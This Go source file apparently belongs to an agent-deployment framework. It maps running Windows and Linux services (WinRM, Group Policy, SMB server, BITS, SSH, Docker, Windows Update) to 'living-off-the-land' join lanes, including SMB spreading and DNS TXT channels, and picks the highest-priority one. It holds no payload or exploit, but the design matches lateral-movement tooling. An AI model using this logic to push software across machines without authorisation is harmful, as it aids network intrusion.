package api import ( "strings" ) // ServiceDeployLane maps a discovered Windows/Linux service to a LOTL join lane. type ServiceDeployLane struct { Lane string `json:"lane"` // bits_curl | do_peer | docker_load | winrm | gpo | spread_smb_unc | linux_lotl Priority int `json:"priority,omitempty"` // higher wins when multiple services match Template string `json:"template,omitempty"` // spread template id (gpo | winrm | linux-lotl) } // DefaultServiceDeployAllowlist maps allowlisted services to deploy lanes. // CCMEXEC → BITS staging; Docker → docker_load; WinRM → bootstrap; gpsvc → GPO; LanmanServer → SMB UNC. var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{ "DoSvc": {Lane: "do_peer", Priority: 35}, "Delivery Optimization": {Lane: "do_peer", Priority: 35}, "Wuauserv": {Lane: "wsus_cache_peer", Priority: 34}, "wuauserv": {Lane: "wsus_cache_peer", Priority: 34}, "Windows Update": {Lane: "wsus_cache_peer", Priority: 34}, "dns_txt:_aether": {Lane: "dns_txt", Priority: 33}, "dns_txt": {Lane: "dns_txt", Priority: 33}, "webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32}, "CCMEXEC": {Lane: "bits_curl", Priority: 10}, "CcmExec": {Lane: "bits_curl", Priority: 10}, "BITS": {Lane: "bits_curl", Priority: 8}, "com.docker.service": {Lane: "docker_load", Priority: 20}, "Docker Desktop Service": {Lane: "docker_load", Priority: 20}, "WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"}, "Winmgmt": {Lane: "winrm", Priority: 25, Template: "winrm"}, "gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"}, "Group Policy Client": {Lane: "gpo", Priority: 40, Template: "gpo"}, "LanmanServer": {Lane: "spread_smb_unc", Priority: 50}, "Server": {Lane: "spread_smb_unc", Priority: 45}, "sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"}, "ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"}, } // NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids. func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]ServiceDeployLane { if len(raw) == 0 { dup := make(map[string]ServiceDeployLane, len(DefaultServiceDeployAllowlist)) for k, v := range DefaultServiceDeployAllowlist { dup[k] = v } return dup } out := make(map[string]ServiceDeployLane, len(raw)) for name, lane := range raw { name = strings.TrimSpace(name) if name == "" { continue } lane.Lane = normalizeJoinLane(lane.Lane) if lane.Template == "" { switch lane.Lane { case "winrm": lane.Template = "winrm" case "gpo": lane.Template = "gpo" case "linux_lotl": lane.Template = "linux-lotl" } } out[name] = lane } return out } func normalizeJoinLane(lane string) string { lane = strings.ToLower(strings.TrimSpace(lane)) switch lane { case "bits", "bits/curl", "bits_curl", "bits-curl": return "bits_curl" case "do_peer", "do-peer", "dosvc": return "do_peer" case "wsus_cache_peer", "wsus-cache-peer", "wsus": return "wsus_cache_peer" case "dns_txt", "dns-txt": return "dns_txt" case "webrtc_mesh", "webrtc-mesh": return "webrtc_mesh" case "docker", "docker_load", "docker-load": return "docker_load" case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc": return "spread_smb_unc" case "linux", "linux_lotl", "linux-lotl": return "linux_lotl" default: return lane } } // PickDeployLane chooses the highest-priority allowlisted running service. func PickDeployLane(services []DeployServiceFinding, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) { allowlist = NormalizeServiceDeployAllowlist(allowlist) var bestPriority int for _, svc := range services { if !serviceRunningForJoin(svc.Status) { continue } entry, found := allowlist[svc.Name] if !found { // Case-insensitive fallback for k, v := range allowlist { if strings.EqualFold(k, svc.Name) { entry, found = v, true break } } } if !found { continue } pri := entry.Priority if pri == 0 { pri = 1 } if !ok || pri > bestPriority { ok = true bestPriority = pri matched = svc.Name lane = entry } } return matched, lane, ok } func serviceRunningForJoin(status string) bool { switch strings.ToLower(strings.TrimSpace(status)) { case "running", "started", "active": return true default: return false } } // DeployServiceFinding is one service reported by the agent during discover_and_join. type DeployServiceFinding struct { Name string `json:"name"` DisplayName string `json:"display_name,omitempty"` Status string `json:"status"` StartType string `json:"start_type,omitempty"` }